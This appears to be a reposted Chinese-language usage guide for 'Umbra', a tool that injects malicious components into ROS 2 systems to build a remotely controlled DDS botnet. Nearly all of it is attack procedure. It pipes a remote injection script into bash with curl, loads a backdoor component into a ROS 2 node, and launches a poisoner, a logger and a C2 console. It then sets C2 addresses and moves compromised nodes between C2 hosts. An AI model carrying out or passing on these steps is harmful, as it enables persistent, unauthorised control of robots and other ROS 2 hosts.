FreeBuf.COM网络安全行业门户，每日发布专业的安全资讯、技术剖析。

地址:https://github.com/MartinxMax/Umbra

ROS 2 協定漏洞：遠端惡意元件注入工具

概述跨子網通訊限制、容器元件權限控制缺陷等安全性漏洞。報告的核心目標是：透過利用這些漏洞，構建一套可遠端控制多個 ROS 2 節點的 DDS 僵屍網路，實現對目標 ROS 2 主機的持久化控制與權限提升。

細節：Umbra_Report_XX.pdf

不依賴於 ROS 2 環境條件。

若你和目標位於同一區域網路（LAN），即可部署於你自己的主機上。

$ ./umbra_poisoner

投毒器須使用參數 --c2 <IP>:<PORT>連接到控制器。

$ ./umbra_console

記錄目標 LAN 中部署的 ROS 節點數量。

$ ./umbra_loger

1. 將惡意元件初始化到正常的 ROS 2 系統中。

備註：在 exploit目錄中有 injection_xxxxx.sh

(Ubuntu-192.168.0.113)$ curl http://server/injection_xxxxx.sh | bash

(Ubuntu-192.168.0.113)$ ros2 component list

2. 本地註冊惡意元件（若雙方的 Ubuntu 都已安裝 ROS 2，也可遠端註冊）

(Ubuntu-192.168.0.113)$ source /dev/shm/umbra_backdoor_install/setup.bash; \
ros2 component load /UMBRA_192_168_0_113 umbra_backdoor umbra --node-name injection

3. 啟動 umbra_console控制器

(Arch-192.168.0.112)$ ./umbra_console

4. 啟動 umbra_loger日誌器

(Arch-192.168.0.112)$ ./umbra_loger

5. 啟動 umbra_poisoner投毒器

(Arch-192.168.0.112)$ ./umbra_poisoner --c2 192.168.0.112:7010

6. 在控制器中進入 session，設定節點參數並連接到 C2

Umbra# use 959145908c4f64af8292392d692b5669
Umbra[959145908c4f64af8292392d692b5669]# show
Umbra[959145908c4f64af8292392d692b5669]# set HC2F 192.168.0.112:7010
Umbra[959145908c4f64af8292392d692b5669]# set HC2S 192.168.0.112:443
Umbra[959145908c4f64af8292392d692b5669]# run

7. 更新命令以將節點遷移到其他 C2 主機

Umbra[959145908c4f64af8292392d692b5669]# set HC2S xxxxx:xxxxx
Umbra[959145908c4f64af8292392d692b5669]# run

本文为 独立观点，未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件，请联系 FreeBuf 客服小蜜蜂（微信：freebee1024）